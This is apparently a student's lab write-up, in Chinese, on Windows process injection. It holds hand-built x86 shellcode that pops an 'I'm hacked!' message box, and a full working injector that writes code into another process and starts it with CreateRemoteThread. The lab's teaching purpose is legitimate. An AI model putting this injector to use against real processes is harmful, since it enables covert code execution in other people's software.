病毒实验三
title: viruslab3
date: 2016-01-05 20:13:57
categories: virus
tags: virus
进程注入
工具:vs2012 ollydbg
part1
- 编写二进制代码 弹出MessageBox对话框 并测试运行之
要求:首先写汇编代码片段完成以下功能
调用MessageBoxA()函数 弹出一个对话框 显示"I'm hacked!"字符串
然后请提取出这些汇编代码的二进制编码 放到全局字符数组char code[]中
测试运行之 确保无误
参考:下面是用c语言编写的调用MessageBoxA的代码片段
MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_Ok);
可以使用下面的c语言程序来测试二进制代码数组
#include<windows.h>
char *s="I'm hacked";
char code[]={0x__,0x__,0x__...};
void main()
{
int op;
VirtualProtect(
&code[0],
sizeof(code),
PAGE_EXECUTE_READWRITE,
&op
);
__asm{
call offset code
}
}
part1报告
#include<windows.h>
char *s = "I'm hacked!";
//寻找地址的时候 发现0x0040A000处是乱码
//0x0040A004才是s串的第一个ascii码
//另外注意链接的时候关闭动态基址
char code[]={
0x6A,0x00,//push MB_OK
0x68,0x04,0xA0,0x40,0x00,//push s
0x68,0x04,0xA0,0x40,0x00,//push s
0x6A,0x00,//push 0
0xFF,0x15,0x08,0x71,0x40,0x00
,0xc3
};
void main()
{
int op;
MessageBoxA(0,s,s, MB_OK);
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
}
}
part2
-
请修改part1中生成的放置在char code[]中的二进制代码 使这段代码在运行时不依赖产生代码进程的全局字符串
例如在part1参考程序中 不能再使用char* s="I'm hacked!";这样的全局字符串
要求:正确提取二进制代码数组 并且测试运行 -
提示:char code[]二进制代码不能使用全局字符串 但是代码自身可以在运行时动态产生字符串
请先阅读下列调用LoadLibraryA("msg.dll")的汇编代码 思考代码如何在运行栈上动态构造字符串
并且如何将字符串的首地址参数传递给系统API 请采用同样的方法改写pat1中的二进制代码
使char code[]代码在运行时不需要依赖目标进程中的全局字符串
part2报告
#include<windows.h>
char code[]={
0x55,//push ebp
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,//mov [ebp-0x18],'I'
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,//mov [ebp-0x0d],0x0
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x6A,0x00,//push 0
0x50,//push eax
0x50,//push eax
0x6a,0x00,//push 0
0xff,0x15,0x08,0x71,0x40,0x00,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3//retn
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
int op;
__asm{
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'I'
mov [ebp-0x17],'\''
mov [ebp-0x16],'m'
mov [ebp-0x15],' '
mov [ebp-0x14],'h'
mov [ebp-0x13],'a'
mov [ebp-0x12],'c'
mov [ebp-0x11],'k'
mov [ebp-0x10],'e'
mov [ebp-0x0f],'d'
mov [ebp-0x0e],'!'
mov [ebp-0x0d],0x0
lea eax,[ebp-0x18]
push 0x0
push eax
push eax
push 0x0
call dword ptr [MessageBoxA]
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
part3
-
考虑带远程进程的内存空间中可能还没有加载user32.dll 即没有MessageBoxA函数 无法让二进制代码来调用
为了能够使二进制代码在远程进程中正确运行 需要在二进制代码中添加新的指令 来调用LoadLibraryA()与GetProcAddress()等系统API函数
来动态加载user32.dll 并且得到MessageBoxA函数的地址 请进一步完善保存在char code[]中的二进制代码
使之在user32.dll未加载的情况下 仍然能够正确弹出MessageBox对话框 最后测试运行参考:请分析下面的c语言代码 写出相应的汇编代码 然后手动编译成二进制代码 放入char code[]数组
hModuser32=LoadLibraryA("user32.dll"); //LoadLibraryA()载入指定的动态链接库 将它映射到当前进程使用的地址空间 //一旦载入 便可访问库内的资源 成功返回句柄 失败0 //一般不需要的时候 应该记得用FreeLibrary函数释放DLL hProc=GetProcAddress(hModuser32,"MessageBoxA"); //GetProcAddress()检索指定的动态链接库(DLL)中的输出库函数地址 成功返回函数地址 失败返回NULL hProc(0,"I'm hacked!","I'm hacked!",MB_OK);
-
提示:因为LoadLibraryA()与GetProcAddress()函数同属于系统核心链接库kernel32.dll 一般情况下
在绝大多数的进程中的kernel32.dll的基址都是相同的 因此我们可以观察任何一个进程 发现并记录这两个函数的入口地址
假设LoadLibraryA的入口地址为oxAAAABBBB 那么我们可以采用下列汇编指令直接调用这个APIpush <"user32.dll"字符串的首地址> mov eax,0xAAAABBBB call eax
同样我们可以得到GetProcAddress的入口地址 直接调用
-
注意:call指令有两种不同的调用 一种是编码FF15打头的通过内存读取的间接跳转
call dword ptr [0xYYYYZZZZ]
另一种是通过寄存器的间接跳转
mov eax,0xZZZZAAAA
call eax
part3报告
#include<windows.h>
char code[]={
0x55,//push ebp LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
0xb8,0x64,0x28,0xa0,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
0xb8,0x37,0x18,0xa0,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
printf("%p\n",LoadLibraryA);
printf("%p\n",GetProcAddress);
int op;
__asm{// LoadLibraryA("user32.dll");
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'u'
mov [ebp-0x17],'s'
mov [ebp-0x16],'e'
mov [ebp-0x15],'r'
mov [ebp-0x14],'3'
mov [ebp-0x13],'2'
mov [ebp-0x12],'.'
mov [ebp-0x11],'d'
mov [ebp-0x10],'l'
mov [ebp-0x0f],'l'
mov [ebp-0x0e],0x0
lea eax,[ebp-0x18]
push eax
mov eax,0x75a02864
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{// GetProcAddress(hModUser32,"MessageBoxA");
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'M'
mov [ebp-0x17],'e'
mov [ebp-0x16],'s'
mov [ebp-0x15],'s'
mov [ebp-0x14],'a'
mov [ebp-0x13],'g'
mov [ebp-0x12],'e'
mov [ebp-0x11],'B'
mov [ebp-0x10],'o'
mov [ebp-0x0f],'x'
mov [ebp-0x0e],'A'
mov [ebp-0x0d],0x0
lea ecx,[ebp-0x18]
push ecx
push eax
mov eax,0x75a01837
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{// MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'I'
mov [ebp-0x17],'\''
mov [ebp-0x16],'m'
mov [ebp-0x15],' '
mov [ebp-0x14],'h'
mov [ebp-0x13],'a'
mov [ebp-0x12],'c'
mov [ebp-0x11],'k'
mov [ebp-0x10],'e'
mov [ebp-0x0f],'d'
mov [ebp-0x0e],'!'
mov [ebp-0x0d],0x0
lea ecx,[ebp-0x18]
push 0x0
push ecx
push ecx
push 0x0
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
part4
- 请编写注入器代码inj.c 将part3产生的二进制代码 即char code[]数组注入到某一进程中 并创建线程运行之
- 提示
- 请先在远程进程中分配一块可以执行的内存区域 请使用API函数VirtualAllocEx()
- 将code数组写入 WriteProcessMemory()
- 创建远程线程运行之 CreatRemoteThread()
part4报告
#include <windows.h>
BYTE code[]={
0x55,//push ebp LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
0xb8,0x44,0x28,0xF9,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
0xb8,0x17,0x18,0xF9,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLE hProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
printf("%p\n",LoadLibraryA);
printf("%p\n",GetProcAddress);
if (argc < 2) {
printf("Usage: %s pid\n", argv[0]);
return -1;
}
PID = atoi(argv[1]);
if (PID <= 0) {
printf("[E]: pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf("[I]: Opening remote process %d......", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf("[I]: Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
0,
dwSizeOfCode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf("[I]: Writing code ......");
if (WriteProcessMemory(hProcess,
pCodeRemote,
pCode,
dwSizeOfCode,
&dwNumBytesXferred) == 0) {
printf("failed.\n");
VirtualFreeEx(hProcess, pCodeRemote,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf("[I]: Creating a remote thread ......");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pCodeRemote, 0 , &dwThreadId);
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf("[I]: Waiting the remote thread ......");
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
part5
- 由于每次系统重启后 进程空间kernel32.dll加载的基地址都会发生变化
因此LoadLibraryA()与GetProcAddress()系统API的地址不是固定值 它们的入口地址会在关机重启发生变化
这样一来 事先做好的二进制代码将会再次无法运行
请在part4的基础上继续修改程序 使得注入程序能够自动的寻找它们的入口地址
并且自动修正二进制代码中这两个函数的入口地址
part5报告
-
OpenProcess 打开进程
-
VirtualAllocEx 分配远程地址空间
-
WriteProcessMemory 写数据
-
CreateRemoteThread 创建远程线程
-
WaitForSingleObject 等待远程线程执行
-
GetExitCodeThread 得到退出码
-
VirtualFreeEx 在其他进程中释放申请的虚拟内存空间
-
CloseHandle 关闭一个内核对象
#include <windows.h>
BYTE code[]={
0x55,//push ebp >>LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
//0xb8,0x64,0x28,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp >>GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
//0xb8,0x37,0x18,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp >>MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLE hProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
*(int *)(code+55) =(int)LoadLibraryA;
*(int *)(code+127) =(int)GetProcAddress;
if (argc < 2) {
printf("Usage: %s pid\n", argv[0]);
return -1;
}
PID = atoi(argv[1]);
if (PID <= 0) {
printf("[E]: pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf("[I]: Opening remote process %d......", PID);
//OpenProcess()用来打开一个已存在的进程对象 并返回进程的句柄
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,//渴望得到的访问权限
FALSE,//是否继承句柄
PID);//进程标识符
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf("[I]: Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
//VirtualAllocEx返回分配内存的首地址 失败返回NULL
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, //申请内存所在的进程句柄
0, //保留页面的内存地址 一般用NULL自动分配
dwSizeOfCode, //预分配的内存大小 字节单位
MEM_COMMIT, //为特定的页面区域分配内存中的物理存储
PAGE_EXECUTE_READWRITE);//区域包含可执行代码 应用程序可以读写该区域
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf("[I]: Writing code ......");
//WriteProcessMemory写入某一进程的内存区域 入口区必须可以访问 否则失败
if (WriteProcessMemory(hProcess, //由Openprocess返回的进程句柄
pCodeRemote, //要写的内存首地址
pCode, //指向要写的数据的指针
dwSizeOfCode, //要写入的字节数
&dwNumBytesXferred) == 0) {//实际写入数据的长度
printf("failed.\n");
//VirtualFreeEx在其他进程中释放申请的虚拟内存空间 成功返回非0 失败0
VirtualFreeEx(hProcess,//目标进程的句柄
pCodeRemote,//要释放的虚拟内存空间首地址的指针
dwSizeOfCode, //虚拟内存空间的字节数
MEM_RELEASE);//释放类型 完全回收
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf("[I]: Creating a remote thread ......");
//CreateRemoteThread创建远程线程 返回新线程句柄 失败NULL
hThread = CreateRemoteThread(hProcess,//线程所属进程的进程句柄
NULL,//线程安全指针
0, //线程初始化大小 字节单位 0 默认系统大小
(LPTHREAD_START_ROUTINE)pCodeRemote,//在远程进程的地址空间中 该线程的线程函数的起始地址
pCodeRemote, //传递给线程函数的参数
0 ,//线程创建标志 0 创建后立即运行
&dwThreadId);//指向所创建线程句柄的指针
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf("[I]: Waiting the remote thread ......");
//WaitForSingleObject函数处于等待状态 直到指定对象被触发
WaitForSingleObject(hThread, //对象句柄
INFINITE);//对象被触发信号后 函数才返回
//GetExitCodeThread获取一个已中止线程的退出代码
//成功返回非0 失败返回0
GetExitCodeThread(hThread,//想获得退出代码的一个线程的句柄
(PDWORD) &exitcode);//用于装载线程退出代码的一个长整数变量
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);//关闭一个内核对象
return 0;
}